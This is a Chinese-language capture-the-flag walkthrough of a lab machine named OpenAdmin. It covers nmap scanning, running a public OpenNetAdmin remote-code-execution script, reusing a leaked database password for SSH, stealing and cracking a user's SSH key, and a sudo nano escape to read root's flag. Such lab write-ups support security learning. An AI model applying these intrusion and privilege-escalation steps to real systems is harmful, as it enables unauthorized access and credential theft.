前言
Author: 0x584A
信息收集
$ cat server.nmap
# Nmap 7.80 scan initiated Sat Feb 15 11:02:51 2020 as: nmap -sV -sC -oA server 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.24s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
4129/tcp filtered nuauth
5500/tcp filtered hotline
7002/tcp filtered afs3-prserver
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 15 11:25:28 2020 -- 1 IP address (1 host up) scanned in 1357.34 seconds
目前已知站点有架设 Apache httpd,随后对其目录进行了枚举:
- url: /artwork
- url: /music
打开URL http://10.10.10.171/music 之后,在登录位置发现新的路径 http://10.10.10.171/ona 。
打开后发现是一个 opennetadmin 的项目。
从 gethuab 上了解到,它是一个IP地址管理系统 : opennetadmin https://github.com/opennetadmin/ona/wiki
首先盲搜一波 Exploit
root @ kali in /home/kali/Documents/OpenAdmin [11:58:57]
$ searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
User Flag
将远程代码执行的利用脚本移出来:
$ searchsploit -m 47691
直接执行这个脚本会抛编码错误,将里面code复制出来重新保存一份就可以了。
反弹的shell是www-data身份,此时查看/home下有多少用户。
$ ./cmd.sh http://openadmin.htb/ona/
$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Nov 22 18:00 .
drwxr-xr-x 24 root root 4096 Nov 21 13:41 ..
drwxr-x--- 6 jimmy jimmy 4096 Feb 21 10:02 jimmy
drwxr-x--- 6 joanna joanna 4096 Nov 28 09:37 joanna
随后在配置文件 /config/database_settings.inc.php
中找到mysql链接密码,随后用这个密码成功SSH登录了 jimmy 用户。
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
但是登录上去之后看不到user.txt,猜测需要joanna用户登录才能获取flag。
接着收集信息,在 /var/www 目录下发现了可疑 internal 文件夹,里面放着一些PHP脚本。
阅读 main.php 脚本内容,当session中的username未设置时,会重定向至index.php,反之会执行shell函数输出joanna用户的密钥。
但它代码的if中缺失一个return,虽然请求会301,但shell函数依然会执行。
在 apache 中找到 internal 站点配置,指向本地端口:52846
请求后得到 id_rsa 内容
将内容保存后使用 ssh2john.py 将密钥信息转换为john可识别信息
好吧,字典参数反了… 额
成功登录拿下 User Flag
Root Flag
拿 root flag 就比较简单了。sudo -l 看了下,可以用 /bin/nano 编辑器操作 /opt/priv 文件。
输入 sudo /bin/nano /opt/priv
进入 nano 编辑器,Ctrl+R
读取文件,再按 Ctrl+X
执行命令
ls /root
cat /root/root.txt
成功拿到 Root Flag